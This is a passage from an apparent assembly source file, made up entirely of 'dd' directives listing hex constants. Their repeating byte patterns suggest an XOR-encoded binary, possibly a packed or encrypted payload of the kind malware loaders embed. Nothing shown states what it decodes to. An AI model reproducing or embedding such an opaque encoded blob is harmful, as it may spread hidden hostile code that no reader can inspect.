796A6BFAh, 6BFBCE6Fh, 7C90F96Ah dd 0FE75AA43h, 7A7A7B08h, 7AFFCD75h, 0F185849Ah, 6BFB866Fh dd 79B8F96Ah, 0FA9E6F79h, 0AA7B6A6Bh, 7FFEC475h, 85859A7Bh dd 0FAC66FF1h, 6F796A6Bh, 6A6BFBF2h, 437E90F9h, 41FF75AAh dd 757A7A7Bh, 9A7AFFCDh, 6FF18584h, 6A6BF876h, 0F376B8F9h dd 75AB7BBBh, 7B77EECCh, 0F185859Ah, 6BFAEA4Fh, 77BCF96Ah dd 897BB9F3h, 67CECC75h, 85859A7Bh, 0BB8CCD75h, 0A9F3729Ch dd 0A4F38973h, 0F38CCD75h, 0F3897BB9h, 0CFF31CA4h, 8584A48Eh dd 8EFFCD75h, 0F78584A4h, 9A7B7FFEh, 0F72A8585h, 849A78FFh dd 9C922A85h, 0F77A7ADFh, 849A78F7h, 85B2F985h, 7B46FA3Ah dd 0F3830F7Ah, 5182F3BDh, 6BFAEA7Fh, 7FC6FA6Ah, 85849A78h dd 0DB070F54h, 6A6BFB8Eh, 0FA927F79h, 92F96A6Bh, 5380F37Dh dd 0FEC475B8h, 849A786Fh, 6F852A85h, 6A7A8A46h, 0F97EBEF9h dd 2E0F3F82h, 0FAE24FF1h, 4F796A6Bh, 6A6BFBF2h, 0F37694F9h dd 75895381h, 7867CEC4h, 2C85849Ah, 8A466F85h, 0BEF96A7Ah dd 2282F97Eh, 4FF1500Fh, 6A6BFB0Ah, 0FB364F79h, 94F96A6Bh dd 5381F37Fh, 0CEC47589h, 849A7867h, 6F852C85h, 6A7A8A46h dd 0F97EBEF9h, 780E3F82h, 5A124A91h, 926A6BE2h, 85858026h dd 78C7F72Ah, 2D85849Ah, 8A566F85h, 0A2DB6A7Ah, 0F96A6BFAh dd 0F72A7C92h, 849A78FFh, 52922A85h, 0F9858581h, 24256EBEh dd 2FB9B321h, 96FB9FF3h, 7A7A7AEAh, 0F12D2C29h, 6BFAEA67h dd 7E91F96Ah, 6FF17591h, 6A6BFB02h, 1C7390F9h, 0BA272EF3h dd 0F832DB39h, 0BAF96A6Bh, 8B94366h, 7FC5759Fh, 6A6BFB8Ah dd 326FC575h, 0F36A6BFBh, 0F9AC7BBCh, 6B917D94h, 98AB88F3h dd 1C7637F1h, 1C0B76F1h, 0FA6F36F3h, 0FB6EDB3Ch, 3EF76A6Bh dd 0BC43647Ah, 7FF79808h, 6A6B20BAh, 8502FFF3h, 0AADB8585h dd 0F96A6BFBh, 0FFF37D92h, 85858506h, 8506CF85h, 0F858585h dd 30419272h, 0BEF97A7Ah, 0EFFF372h, 0DB858585h, 6A6BFAC6h dd 0EFF433Ah, 0F858585h, 0FA3FF741h, 0BA3FF72Ah, 0F3FB922Ah dd 0FFF37A7Ah, 8585850Ah, 8502CF85h, 3FF78585h, 90922ABAh dd 0F97A7A28h, 0BA736ABEh, 0CF85680Eh, 85858502h, 2ABA3FF7h dd 8598BD92h, 72BEF985h, 8506FF85h, 42DB8585h, 0F96A6BF8h dd 6FF15ABAh, 6A6BFBA6h, 7970B8F9h, 6BFA9A6Fh, 0B8D5756Ah dd 8506FF43h, 3A098585h, 2AFA3FF7h, 7A7F3992h, 0AFFF37Ah dd 85858585h, 858502CFh, 0FA3FF785h, 28F1922Ah, 0BEF97A7Ah dd 75BA7376h, 858535FEh, 2CF8585h, 0F7858585h, 922AFA3Fh dd 8585981Eh, 9372BEF9h, 85858542h, 0F85247F1h, 95F96A6Bh dd 0F36B9172h, 0F198AB80h, 0F11C7237h, 1CBA6F2Eh, 3D036EF3h dd 6BFB76DBh, 64BAF96Ah, 9908BD43h, 0B3212425h, 9FF32FB9h dd 752D292Bh, 0C3723FCCh, 7A7A7A51h, 0DAC4F9C0h, 0BB988D55h dd 2FF37990h, 0F3ADF386h, 7227F281h, 723FCC75h, 0E26FC575h dd 0F16A6BFBh, 6BFBD677h, 702EF76Ah, 0FAA437Bh, 7A15C270h dd 0F9937A7Ah, 757A7A7Ah, 0F1723FCCh, 6BFBD66Fh, 77C5756Ah dd 6A6BF83Eh, 90F9B07Bh, 0FAA4372h, 7A03C27Dh, 18917A7Ah dd 723FCC75h, 0FB4A6FF1h, 0B8F96A6Bh, 0FAA4378h, 7A13C27Dh dd 30917A7Ah, 723FCC75h, 0FBD66FF1h, 6F796A6Bh, 6A6BFB66h dd 437E90F9h, 0C27D0FAAh, 7A7A7A1Fh, 0CC755691h, 6FF1723Fh dd 6A6BFB6Ah, 437E90F9h, 0C27D0FAAh, 7A7A7A1Bh, 0CC756E91h dd 6FF1723Fh, 6A6BFA92h, 0FAA4338h, 7A0FC27Fh, 21257A7Ah dd 122DB9B3h, 6A6BE26Bh, 858D9992h, 852A2385h, 7B5FE26Fh dd 0F80ED96Ah, 0BADB6A6Bh, 756A6BFAh, 0FBB66FC5h, 0AA7B6A6Bh dd 437192F9h, 6BF80E7Fh, 126D0F6Ah, 6A6BE278h, 858DC992h dd 852A2385h, 7F48626Fh, 0F80ED96Ah, 94126A6Bh, 926A6BEDh dd 85858DE6h, 4F852A23h, 6A6BF80Eh, 5BD66F85h, 7AD96A7Bh dd 256A7F50h, 9FF32FB9h, 7F12D2Ch, 760FF172h, 0F16A3FF1h dd 0A88D6E2Fh, 0AB738BF3h, 80F3B24Bh, 0AAF3B87Bh, 0F3623F79h dd 5A0779BDh, 2D660F85h, 7A5A3092h, 72BEF97Ah, 8D7BBDF3h dd 242582F3h, 0F32FB927h, 2E96F99Fh, 0F12D2C29h, 7E10720Fh dd 7A6A7A12h, 763FF17Ah, 73ABAF9h, 45BAF979h, 0F37C82BBh dd 7C9DBBBDh, 857A102Dh, 7F48666Fh, 963FF36Ah, 757607F1h dd 0F8726FC5h, 77F16A6Bh, 6A6BF84Eh, 4D702EF7h, 0AA7B82F3h dd 0BAF97907h, 7C82BB45h, 0EA47C575h, 0F16A6BFBh, 6BFB8277h dd 7506F76Ah, 75B8F34Fh, 8528ADD5h, 6F85960Fh, 6A7A8A42h dd 2C760F85h, 85960F85h, 73326E6Fh, 8A3FF76Ah, 3C10922Ah dd 0BEF97A7Ah, 960FF16Ah, 7E7FC575h, 756A6BFBh, 0FBE26FC5h dd 0B9F36A6Bh, 9131A97Bh, 3FF72C65h, 82922A8Ah, 0F97A7A41h dd 7ADB72BEh, 0F96A6BFBh, 7F7955BAh, 6A6BFB5Ah, 397C4EF7h dd 0F17607F1h, 6BFB8E6Fh, 4DB8F96Ah, 0AA7B82F3h, 0BAF97907h dd 7C82BB45h, 0BF06B943h, 7AFA7A12h, 0FB5EDB7Ah, 92F96A6Bh dd 0F852A78h, 6A6F8596h, 0F76A7332h, 852AD63Fh, 56926A0Fh dd 0DB7A7A1Ch, 6A6BFB02h, 2A7DBAF9h, 2A8A3FF7h, 2AD63FF7h dd 233A6F85h, 0BEF96A77h, 9E47F16Eh, 0F96A6BFAh, 82437F95h dd 0BA4B7F0Eh, 4B78913Ah, 212425BAh, 0F32FB9B3h, 0FBAADB9Fh dd 92F96A6Bh, 467F437Dh, 0C6A6B15h, 15461271h, 6F856A6Bh dd 6A7A8A6Eh, 6B1546DBh, 7EB8276Ah, 9FF32F7Ah, 6BF84ADBh dd 5E7F796Ah, 0F96A6BFBh, 7F437992h, 6A7B5FC2h, 0C212710Ch dd 856A7B5Fh, 7A8A6E6Fh, 5FC2DB6Ah, 0B8276A7Bh, 0F32F7A7Eh dd 6696FB9Fh, 297A7A78h, 0FFF72D2Ch, 8585878Ah, 5ADA122Ah dd 0F5926A7Bh, 0F97A7AF8h, 0FFF372BEh, 85858782h, 0EE7FC575h dd 756A6BFBh, 0FBE26FC5h, 0AA7B6A6Bh, 437892F9h, 858782FFh dd 4B7D0F85h, 7BEB93BAh, 6EDB7A7Ah, 796A6BF8h, 6BFA967Fh dd 86FFF36Ah, 0F1858587h, 858786FFh, 82EFF185h, 0F7858587h dd 0B2F97876h, 46FA3A85h, 830F7A7Bh, 878EFFF3h, 0C7FB8585h dd 8585878Eh, 7A7A7A85h, 0FFF15009h, 85858786h, 0F85E6FF1h dd 6F796A6Bh, 6A6BFB82h, 7B7990F9h, 82FF79AAh, 2A858587h dd 857BFFF7h, 922A8585h, 7A7AE58Bh, 0D24FC575h, 916A6BFAh dd 4FC6FA5Fh, 8585857Bh, 0BC720F53h, 857B4FFEh, 0FA478585h dd 857B4FC6h, 0F528585h, 4FFEBC72h, 8585857Bh, 0F7F73C51h dd 8585857Bh, 3A85B2F9h, 7A7B46FAh, 0BC43830Fh, 8512BD08h dd 0F77A7A7Ah, 858478FFh, 0FFF72A85h, 8585857Bh, 0EE11922Ah dd 0BEF97A7Ah, 75B9F376h dd 0FAEE47C5h, 95F96A6Bh, 75549178h, 7847FEC4h, 0F3858584h dd 858792FFh, 8D82F385h, 9EFFF39Dh, 0F1858587h, 858792FFh dd 9EEFF185h, 53858587h, 47FEF2AAh, 85858478h, 8A5433Dh dd 0F846DBB4h, 7F796A6Bh, 6A6BFB96h, 2A7892F9h, 0F7720F85h dd 858478FFh, 0FE922A85h, 0F97A7A5Dh, 0FFF376BEh, 85858796h dd 6BFBFADBh, 85817F6Ah, 7F797A7Ah, 6A6BF876h, 8796FF43h dd 6B0E8585h, 8782CF85h, 6F858585h, 6A7B5FB6h, 913ABA4Bh dd 8EFFF144h, 7B858587h, 858786FFh, 0FBF6DB85h, 793A6A6Bh dd 6BFB227Fh, 86FF7B6Ah, 0F1858587h, 85878AFFh, 86FF4385h dd 75858587h, 8584F4F8h, 82CF8585h, 85858587h, 7B5FB66Fh dd 25BA4B6Ah, 0B9B32124h, 7A3A7BC2h, 7A72B8FAh, 0F99FF32Fh dd 2C293A96h, 720FF12Dh, 327FC575h, 0F36A6BFBh, 0BA4779BDh dd 0F96A6BFBh, 74917895h, 99AB81F3h, 46EF11Ch, 672EF31Ch dd 3ADB3DBAh, 0F96A6BFBh, 7F7965BAh, 6A6BFBA6h, 9A08BD43h dd 2ABA3FF7h, 0F9EF922Ch, 0BEF97A7Ah, 21242572h, 0F32FB9B3h dd 4296FB9Fh, 297A7A7Bh, 6FF72D2Ch, 6A7AA4ADh, 0FB0677F1h dd 0BBF96A6Bh, 0A9AAF373h, 4A6FF192h, 0F96A6BF8h, 6F797DB8h dd 6A6BFBAEh, 0B9F3ABF3h, 7FF799A9h, 6A7AA4ADh, 0F3963FF3h dd 0A2F39227h, 3742FB1Ch, 75620E20h, 0FB327FC5h, 6FF16A6Bh dd 6A6BFA9Ah, 836AFEF7h, 537A7A85h, 0DBA691B9h, 6A6BFB9Ah dd 0F342BAF9h, 0F3BC7BA4h, 0F37C79A2h, 37F18A3Fh, 0CB24396h dd 0FB5ADB6Dh, 887F6A6Bh, 757A7A85h, 0FAAA6FC5h, 0AA7B6A6Bh dd 0D191B953h, 0F38A3FF1h, 0CD75823Fh, 3F2A477Ah, 6A0E7A7Ah dd 827FC575h, 7F6A6BFAh, 7A7A8581h, 0F191B953h, 0F1823FF1h dd 7A7AFAFAh, 8E3FF37Ah, 6BFBCEDBh, 7E92F96Ah, 93863FF3h dd 7A7A7B06h, 3F79A2F3h, 863F798Eh, 84AEFFF3h, 6FF18585h dd 6A6BFAAEh, 437F90F9h, 15FE756Ah, 0F17A7A7Bh, 8584AEFFh dd 79A0F385h, 0EFF3762Ah, 858584AAh, 0A3FFF728h, 2A858584h dd 7AE72692h, 0FBCADB7Ah, 7F796A6Bh, 6A6BFB02h, 0F36A92F9h dd 5891A23Fh, 0F0A23FF1h, 84A37FFEh, 1B468585h, 466B04h dd 3FF17707h, 7FFEF7A2h, 858584A3h, 855A52FAh, 3FF1A23Fh dd 0FEC475A2h, 8584A37Fh, 0C26FF185h, 0F96A6BFBh, 0AA437E90h dd 1ADBBC0Fh, 0FA6A6BFBh, 84AD7FC6h, 75368585h, 7A7AA1FFh dd 0E26FF17Ah, 0FA6A6BFAh, 84AC6FC6h, 75498585h, 7A7ABDFFh dd 7FC6FA7Ah, 858584A8h, 0C3FF7531h, 0DB7A7A7Ah, 6A6BFB56h dd 0FB867F79h, 0C6FA6A6Bh, 8584A87Fh, 0FF753F85h, 7A7A7ADAh dd 3E7FC575h, 0FA6A6BFBh, 84AD7FC6h, 75288585h, 7A7AF1FFh dd 0FB06DB7Ah, 7F796A6Bh, 6A6BFB2Ah, 0AF7FC6FAh, 48858584h dd 0FFF10C0Fh, 858584AEh, 2A79A0F3h, 0B2EFF36Ah, 0DB858584h dd 6A6BFB2Ah, 0F8467F79h, 92F96A6Bh, 0B6FFF37Eh, 0F1858584h dd 8584B2FFh, 79BCF385h, 8584B6CFh, 0DB44F185h, 6A6BF876h dd 0FBAE7F79h, 92F96A6Bh, 0EBD4376h, 4D922D3Fh, 237A7A5Ch dd 6BFB2ADBh, 7E92F96Ah, 0F82E7F43h, 540F6A6Bh, 6BFB5EDBh dd 167F796Ah, 0F96A6BFBh, 0FF7B7992h, 858584B6h, 6C91CB91h dd 6E863FF9h, 0F1823FF1h, 7A7AFEFAh, 863F437Ah, 8408F875h dd 0AADB8585h, 796A6BFBh, 6BF8327Fh, 7192F96Ah, 0F82E7F43h dd 180E6A6Bh, 7A77C592h, 73D4927Ah, 0F2927A7Ah, 0F37A7A78h dd 9D2FF2B8h, 9D3FCC75h, 0FAAE6FF1h, 90F96A6Bh, 0EAA4379h dd 9A3FF747h, 0FBCEDB2Ah, 92F96A6Bh, 3FF72A7Eh, 0AD122AA6h dd 0DB6A7AA4h, 6A6BFBF6h, 0FAAE7F79h, 92F96A6Bh, 52DB2A7Ch dd 756A6BF8h, 0FA826FC5h, 0AA7B6A6Bh, 2A7792F9h, 155A6F85h dd 24256A6Bh, 2FB9B321h, 2D2C9FF3h, 0F17207F1h, 8AF3760Fh dd 0F36A3F59h, 59A88D88h, 0AA736E2Fh, 0B87B80F3h, 3F79AAF3h dd 79BDF362h, 0F855A07h, 0E922D66h, 0F97A7A63h, 0BDF372BEh dd 82F38D7Bh, 0B9272425h, 0C29FF32Fh, 7A7A5A7Ah, 7AE15E92h dd 122D2C7Ah, 7A7A6585h, 9A7BFFF7h, 852A8585h, 6F85720Fh dd 6A6B1542h, 6BEDA312h, 8A3C926Ah, 47F18585h, 6A6BFB82h dd 2D7895F9h, 7BC7F72Ah, 2D85859Ah, 7A592092h, 6ABEF97Ah dd 0FB824FF1h, 0BCFB6A6Bh, 7A7A8586h, 730E8A43h, 92720F85h dd 7A7A1690h, 3ABA4B23h, 0B8B32425h, 0F32F7A72h, 2D2C299Fh dd 0F17207F1h, 0FF17627h, 5BA2F36Eh, 6A2FF18Ah, 0AB8D8BF3h dd 0AA73B05Bh, 0B87B80F3h, 3F79AAF3h, 79BDF362h, 0F855A07h dd 0B2922D66h, 0F97A7A62h, 0BDF372BEh, 82F3A57Bh, 27212425h dd 9FF32FB9h, 7B7E96FBh, 2D2C7A7Ah, 6BFB76DBh, 79B8F36Ah dd 6BFBE66Fh, 7C90F96Ah, 367F7928h, 0F96A6BFBh, 102A7E92h dd 7FC57579h, 6A6BF83Ah, 0FBDA7F79h, 92F96A6Bh, 0BADB2A6Ah dd 0F96A6BFAh, 122A7892h, 0FA7A7A7Ah, 73484A12h, 626F856Ah dd 0F36A6B11h, 8585F9BDh, 50C27D0Fh, 917A7A7Ah, 0F852DB10h dd 0C5756A6Bh, 6BFABE6Fh, 0F9AA7B6Ah, 0F72A7492h, 858486FFh dd 85122A85h, 0F77A7A7Ah, 85857BFFh, 852D2A85h, 7A8A4E6Fh dd 2DBCF36Ah, 33326F85h, 0CC756A73h, 85857BFFh, 0AA6FF185h dd 0F96A6BFBh, 0AA4360B8h, 50C27D07h, 917A7A7Ah, 0FBE6DB60h dd 92F96A6Bh, 0FBC437Eh, 7A50C27Dh, 7D917A7Ah, 7BFFCC75h dd 25858585h, 2FB9B324h, 2C299FF3h, 7227F12Dh, 29760FF1h dd 8A7A6F85h, 0BDF36A7Ah, 6BFBF2DBh, 9E7F796Ah, 0F96A6BFBh dd 0DB2A7392h, 6A6BFAC2h, 0F85E7F79h, 92F96A6Bh, 1ADB2A7Fh dd 7F6A6BFBh, 7A7A658Dh, 326FC575h, 7B6A6BFBh, 2D2C2AAAh dd 7FC57529h, 6A6BFABEh, 2A7C92F9h, 6F857A10h, 6A7A8A6Ah dd 6BFB6EDBh, 6FC5756Ah, 6A6BFBE2h, 92F9AA7Bh, 447EF278h dd 242582F3h, 2FB92721h, 96FB9FF3h, 7A7A7B72h, 47F12D2Ch dd 6A6BFBF2h, 7FC5753Dh, 6A6BFAD2h, 0B91BD7Bh, 6BEDB712h dd 9420926Ah, 0FFF38585h, 85858482h, 6BEDB912h, 9430926Ah dd 2A2D8585h, 8482CFF1h, 0F72C8585h, 85857BCFh, 6F852C85h dd 6A772352h, 0F762BEF9h, 85857BFFh, 7A102A85h, 6A7A7A12h dd 426F857Ah, 0F36A7333h, 858486FFh, 0EBA7385h, 6F852A65h dd 6A733332h, 527FC575h, 3A6A6BFBh, 7F0FBD43h, 913ABA4Bh dd 7A78C259h, 66917A7Ah, 0FB6ADB3Dh, 0BAF96A6Bh, 6FC57521h dd 6A6BFB7Eh, 0BD43AA7Bh, 850CF875h, 0BA4B8585h, 0B9B32425h dd 0EDCE122Dh, 0B3926A6Bh, 23858597h, 0E26F852Ah, 0D96A7B5Fh dd 6A6BF806h, 6BFA96DBh, 6FC5756Ah, 6A6BFB1Eh, 92F9AA7Bh dd 67F4378h, 0F6A6BF8h, 0EDDF126Dh, 0E3926A6Bh, 23858597h dd 626F852Ah, 0D96A7F48h, 6A6BF806h, 6BEDF712h, 97F8926Ah dd 2A238585h, 0F8064F85h, 6F856A6Bh, 6A7B5BD6h, 7B75BED9h dd 2FB9256Ah, 96FB9FF3h, 7A7A7B7Eh, 0FADEDB2Dh, 7F796A6Bh dd 6A6BFBCEh, 0F2722FF0h, 848C7FEEh, 9ADB8585h, 0F96A6BFBh dd 122A7E92h, 7A7A7AFAh, 2DB7E10h, 0F96A6BFBh, 0DB2A7392h dd 6A6BF836h, 726FC575h, 7B6A6BF8h, 7092F9AAh, 7A7A122Ah dd 4A123A7Ah, 856A7348h, 6B11626Fh, 75BDF36Ah, 0FBBE7FC5h dd 7F796A6Bh, 6A6BFB0Ah, 2A7692F9h, 8486FFF7h, 0DB2A8585h dd 6A6BFB02h, 2A7292F9h, 857BFFF7h, 2D2A8585h, 15666F85h dd 852D6A6Bh, 7333326Fh, 0B9B3256Ah, 0F99FF32Fh, 2D2C7696h dd 127207F1h, 6A7AD87Dh, 4C851E1Dh, 1E1D7A7Ah, 7A7A5CF3h dd 6BEDFF12h, 96C8926Ah dd 4D858585h, 8C0FF72Ah, 526F852Ch, 0F96A7723h, 7A106ABEh dd 3FF74D85h, 62922A8Ch, 757A7A53h, 0FBEA7FC5h, 7F796A6Bh dd 6A6BFAC2h, 2A7692F9h, 235E6F85h, 0BEF96A77h, 25AD916Ah dd 7EB8B324h, 9FF32F7Ah, 781696FBh, 2C297A7Ah, 39A14B2Dh dd 6BED0712h, 9620926Ah, 0F858585h, 0C7F72A72h, 858587C4h dd 526F852Dh, 0F96A7723h, 0FFF76ABEh, 858584B8h, 0C4FFF72Ah dd 2A858587h, 48526F85h, 0FFF36A73h, 858587C2h, 0EE7FC575h dd 8D6A6BFBh, 0C2FF43A2h, 75858587h, 7A7B1CFFh, 5A3FF77Ah dd 6A3FF72Ah, 6A6F852Ah, 0F36A6B11h, 8587DAFFh, 7FC57585h dd 6A6BFAEEh, 0AA6FC575h, 7B6A6BFAh, 7292F9AAh, 87DAFF43h dd 77048585h, 87E2C7F7h, 0FF78585h, 91DFDF5Ah, 0E2C7F771h dd 0F7858587h, 0DFDF6A0Fh, 87D2FFF7h, 0F72A8585h, 8587E2FFh dd 6F852A85h, 6A6B2002h, 6BFB22DBh, 0EFCD756Ah, 858587C8h dd 0CAF7CD75h, 0F1858587h, 6BF8764Fh, 4A0EF76Ah, 0B4D5754Fh dd 0CD75B07Bh, 8587D4F7h, 824FF185h, 0F96A6BFBh, 0D5756FBCh dd 264FF1B4h, 0F96A6BFBh, 0D57542BCh, 75B07BB4h, 87D0F7CDh dd 4FF18585h, 6A6BFAE2h, 756FBCF9h, 0C575B4D5h, 6BFBBE4Fh dd 0CA47F16Ah, 0F76A6BFBh, 7573440Eh, 4FF1B4D5h, 6A6BFB36h dd 754FBCF9h, 0FB5247C5h, 847B6A6Bh, 7BB4D575h, 0F7CD75B0h dd 858587D2h, 0FA9A4FF1h, 0C5756A6Bh, 6BFAE647h, 75847B6Ah dd 0C575B4D5h, 6BFACE4Fh, 63BCF96Ah, 0F1B4D575h, 6BFAC24Fh dd 6BBCF96Ah, 0B2F3BC7Bh, 75BCD575h, 0FB9277C5h, 4FF16A6Bh dd 6A6BFB06h, 544B36F7h, 7BBBD575h, 0DEEFF3B8h, 0F3858587h dd 4A6FF1AAh, 436A7A8Ah, 8BFD75AAh, 537A7A7Ah, 0FAC2DBB8h dd 0A67F6A6Bh, 437A7A6Ah, 0A7FC75B8h, 857A7A7Ah, 6F85720Fh dd 6A7A8A76h, 87EEFFF3h, 0B3938585h, 0FA7A7A7Ah, 858494C7h dd 0FE755485h, 7A7A7AC2h, 6BED0E12h, 90E0926Ah, 0C7F78585h dd 85858494h, 720F852Dh, 0C4C7F72Ah, 2D858587h, 23526F85h dd 0CFF76A77h, 858584B8h, 7B3A96FBh, 9DF37A7Ah, 7A7AE5C3h dd 0DF1C897Ah, 87C4C7F7h, 922D8585h, 85858797h, 7B22BEFBh dd 16917A7Ah, 84B8FFF7h, 852A8585h, 8587C2CFh, 0B26F8585h dd 0F36A7B75h, 0EA173B9h, 94C7FA2Dh, 54858584h, 1112300Eh dd 926A6BEDh, 85859056h, 8494C7F7h, 852D8585h, 0F72A720Fh dd 8587C4C7h, 6F852D85h, 6A772352h, 84B8CFF7h, 96FB8585h dd 7A7A7B3Ah, 0E5C39DF3h, 897A7A7Ah, 0C7F7DF1Ch, 858587C4h dd 8705922Dh, 0BEFB8585h, 7A7A7B22h, 0EA0FA173h, 0B3212425h dd 9FF32FB9h, 782E96FBh, 2C297A7Ah, 96FFF72Dh, 2A858584h dd 6BFABADBh, 0F67F796Ah, 0F96A6BFBh, 0DB2A7992h, 6A6BFB9Eh dd 2A7E92F9h, 36DB5A10h, 756A6BFBh, 0FAAA6FC5h, 0AA7B6A6Bh dd 2A7292F9h, 507A6F85h, 3FF76A7Fh, 6F852A8Ah, 6A734E4Ah dd 6BF86EDBh, 2FCD756Ah, 37CD7580h, 667F182h, 0F96A6BFBh dd 0D5754FB9h, 75B07BB1h, 758C37CDh, 0FB3E67C5h, 0B9F96A6Bh dd 0B1D5756Eh, 0FB5E67F1h, 0B9F96A6Bh, 4FC5754Dh, 6A6BFB42h dd 0D575897Bh, 75B07BB1h, 0F18837CDh, 6BFB0267h, 6FB9F96Ah dd 0F1B1D575h, 6BFB8E67h, 75B9F96Ah, 0F1B1D575h, 6BF86E67h dd 43B9F96Ah, 7BB1D575h, 37CD75B0h, 6667F18Ah, 0F96A6BF8h dd 67797FB9h, 6A6BFADAh, 0F1B1D575h, 6BFBFE67h, 623EF76Ah dd 0B2D5756Dh, 6A7FC575h, 756A6BF8h, 0FA8E67C5h, 3EF76A6Bh dd 0D5756B62h, 0FA9ADBB2h, 0BAF96A6Bh, 67C5754Fh, 6A6BFBEEh dd 0D575A27Bh, 7BAAF3B2h, 8A4AD9B2h, 4EDB6A7Ah, 796A6BFBh dd 6BFBDA7Fh, 7392F96Ah, 87B0FFF3h, 0CFF78585h, 858587D4h dd 7B3A96FBh, 9DF37A7Ah, 7A7AE5C3h, 0DF1C897Ah, 8496C7F7h dd 922D8585h, 7A7A62D2h, 7B3EBEFBh, 24257A7Ah, 0DBB9B321h dd 6A6BFB2Eh, 0FB9E7F79h, 92F96A6Bh, 6F852A71h, 6A6B231Ah dd 3A7BC2B9h, 62B8FA7Ah, 9FF32F7Ah, 7A6A7AC2h, 0E959927Ah dd 2C297A7Ah, 0FBD6DB2Dh, 7F796A6Bh, 6A6BFB2Eh, 2A7092F9h dd 8A7BFFF7h, 922A8585h, 7A7A779Bh, 0F172BEF9h, 6BFBB247h dd 7295F96Ah, 0C6FA6091h, 858A7B47h, 750F5985h, 0E27FC575h dd 326A6BFBh, 7B47FEF2h, 3D85858Ah, 758585FBh, 0A4087A7Ah dd 8A7BCFF7h, 1D128585h, 926A6BEDh, 85859272h, 7B759A12h dd 67C5756Ah, 6A6BFABEh, 297C91F9h, 0FB7267F1h, 0C5756A6Bh dd 6BFBEE6Fh, 0F9A97B6Ah, 2A297391h, 0AA67C575h, 796A6BFAh dd 6BF83667h, 7591F96Ah, 5E67F129h, 796A6BF8h, 6BFBA267h dd 7F91F96Ah, 0F852C29h, 0AA67F172h, 796A6BFBh, 6BFB2E67h dd 7791F96Ah, 7A8599FBh, 92297A7Ah, 7A7A3255h, 0F352BEF9h dd 85B2F98Bh, 7B46FA3Ah, 75830F7Ah, 0FAEE6FC5h, 90F96A6Bh dd 7BB9F37Bh, 7BACF389h, 7CC475A4h, 626FC575h, 756A6BF8h dd 0FB5277C5h, 0B07B6A6Bh, 437F90F9h, 29FF75AAh, 25858585h dd 0B9B32124h, 0ED23122Dh, 2F926A6Bh, 2385859Dh, 0E26F852Ah dd 0D96A7B5Fh, 6A6BF822h, 6BF87ADBh, 7F92F96Ah, 0F8227F43h dd 6D0F6A6Bh, 6BED3112h, 9D54926Ah, 2A238585h, 48626F85h dd 22D96A7Fh, 126A6BF8h, 6A6BED3Bh, 859D6D92h, 47922A85h dd 0D97A7A1Fh, 6A73334Eh, 6BED4D12h, 9D78926Ah, 922A8585h dd 7A7A1F52h, 7B5BDED9h, 0ED57126Ah, 97926A6Bh, 2A85859Ch dd 7A1F6992h, 233AD97Ah, 5F126A77h, 926A6BEDh, 85859CA2h dd 1E84922Ah, 3AD97A7Ah, 126A6B0Ah, 6A6BED67h, 859CB992h dd 93922A85h, 0D97A7A1Eh, 6A7F538Ah, 6BED6912h, 9CD4926Ah dd 922A8585h, 7A7A1EAEh, 77235ED9h, 0ED70126Ah, 0E3926A6Bh dd 2A85859Ch, 7A1EC592h, 228AD97Ah, 7A126A73h, 926A6BEDh dd 85859CFEh, 1ED0922Ah, 9AD97A7Ah, 126A7F53h, 6A6BEC82h dd 859C1592h, 0EF922A85h, 0D97A7A1Eh, 6A7B7A66h, 6BEC9712h dd 9C20926Ah, 922A8585h, 7A7A1EFAh, 7A8A46D9h, 0EC98126Ah dd 3F926A6Bh, 2A85859Ch, 7A1E1192h, 2352D97Ah, 0AC126A77h dd 926A6BECh, 85859C4Ah, 1E2C922Ah, 66D97A7Ah, 126A7348h dd 6A6BECB6h, 859C6192h, 3B922A85h, 0D97A7A1Eh, 6A73326Eh dd 6BECB812h, 9C7C926Ah, 922A8585h, 7A7A1E56h, 0D90ABEF9h dd 6A7A8A56h, 0F32FB925h, 3296FB9Fh, 297A7A7Eh, 0FFF72D2Ch dd 858586C5h, 0FBD6DB2Ah, 7F796A6Bh, 6A6BFA8Ah, 2A7F92F9h dd 6BF85ADBh, 7892F96Ah, 7566102Ah, 0FABE7FC5h, 7F796A6Bh dd 6A6BFBB2h, 2A7492F9h, 507A6F85h, 0FFF76A7Fh, 858586C5h dd 0C1FFF72Ah, 2A858581h, 5BDE6F85h, 0CD126A7Bh, 926A6BECh dd 85859FEEh, 0C1EFF72Ah, 28858581h, 8A566F85h, 0BEF96A7Ah dd 0B8FFF76Eh, 2A858584h, 81C1FFF7h, 852A8585h, 7348526Fh dd 0DBB9F36Ah, 6A6BF84Ah, 0B943A28Dh, 7ACEFE75h, 0FFF77A7Ah dd 85858494h, 0C5FFF72Ah, 2A858586h, 7A442692h, 72BEF97Ah dd 0F73C8C4Bh, 8584B8FFh, 85292A85h, 7B75B26Fh, 73BCF36Ah dd 29730F8Ch, 5FC66F85h, 60916A7Bh, 8494FFF7h, 0F72A8585h dd 8586C5FFh, 5C922A85h, 0F97A7A44h, 8C7372BEh, 0C575B30Fh dd 6BFBD27Fh, 0E6FF16Ah, 0F96A6BFBh, 6EF27D90h, 6B216A7Fh dd 47C5756Ah, 6A6BFAD2h, 0D7124691h, 926A6BECh, 85859E9Eh dd 5AC74E85h, 856A7323h, 485AC74Eh, 0F72A6A7Fh, 8587B9EFh dd 6F852885h, 6A772352h, 87B9FFF7h, 122A8585h, 6A6B216Ah dd 8A566F85h, 0BEF96A7Ah dd 47413D66h, 6A6BF8DEh, 2425C608h, 2FB9B321h, 96F99FF3h dd 2D2C2956h, 1C623FF1h, 75623FF3h, 0FB7E7FC5h, 6FF16A6Bh dd 6A6BFB6Ah, 0C56AFEF7h, 437A7A7Ah, 0FF75763Fh, 7A7A7B6Ah dd 923FBD1Ch, 3FF77A79h, 92DB2A8Ah, 2A6A6BF8h, 2D8542F1h dd 863FF366h, 6BFA9EDBh, 0D67F796Ah, 0F96A6BFBh, 3F437D92h dd 0A7FF7586h, 857A7A7Ah, 3FF78A37h, 0FF72A9Eh, 6A96F992h dd 7EC39DF3h, 897A7A7Ah, 9247F1DFh, 2D6A6BF8h, 2D8545F1h dd 863FF35Ah, 0CE7FC575h, 796A6BFAh, 6BFB827Fh, 7292F96Ah dd 75863F43h, 7A7AE5FFh, 9A3FF77Ah, 0E0D2122Ah, 3FF16A6Bh dd 42F12A9Eh, 7A476E85h, 0F37A7A7Ah, 8ADB863Fh, 0F96A6BFAh dd 3F437992h, 0F70A0F86h, 6BF89E7Fh, 823FF36Ah, 8562F12Ah dd 3FF77E29h, 92122AA6h, 0F16A6BE3h, 0F12A823Fh, 476E8542h dd 7A7A7A7Ah, 0DB863FF3h, 6A6BFB5Ah, 0FAEA7F79h, 92F96A6Bh 